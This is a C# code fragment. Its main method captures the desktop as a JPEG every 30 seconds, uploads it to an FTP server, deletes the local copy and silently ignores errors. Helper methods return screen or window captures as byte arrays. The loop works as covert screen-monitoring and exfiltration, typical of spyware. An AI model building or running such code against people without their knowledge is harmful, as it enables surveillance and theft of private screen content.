private void CaptureJPGAndSendFTP() { while (true) { try { nameOfFile = string.Format("{0}.{1}.{2} - {3}.{4}.{5}.jpg", DateTime.Now.Year, DateTime.Now.Month.ToString().PadLeft(2, '0'), DateTime.Now.Day.ToString().PadLeft(2, '0'), DateTime.Now.Hour.ToString().PadLeft(2, '0'), DateTime.Now.Minute.ToString().PadLeft(2, '0'), DateTime.Now.Second.ToString().PadLeft(2, '0')); //capture a JPG System.Drawing.Image fileImage = (System.Drawing.Image)ScreenCapturing.GetDesktopWindowCaptureAsBitmap(); fileImage.Save(this.nameOfFile, System.Drawing.Imaging.ImageFormat.Jpeg); //send a JPG to FTP Server ftp.Login(); this.CreateFolder(); ftp.Upload(nameOfFile); ftp.Close(); System.IO.FileInfo file = new System.IO.FileInfo(this.nameOfFile); file.Delete(); } catch {} finally { GC.Collect(); Thread.Sleep(30000); } } }
/// <summary> /// Gets a byte array of a bitmap for the window specified by the handle /// </summary> /// <param name="hWnd"></param> /// <returns></returns> public static byte[] GetWindowCaptureAsByteArray(int handle) { return(ScreenCapturing.GetBytes(ScreenCapturing.GetWindowCaptureAsBitmap(handle))); }
/// <summary> /// Gets a byte array of a bitmap for the desktop window /// </summary> /// <returns></returns> public static byte[] GetDesktopWindowCaptureAsByteArray() { return(ScreenCapturing.GetBytes(ScreenCapturing.GetDesktopWindowCaptureAsBitmap())); }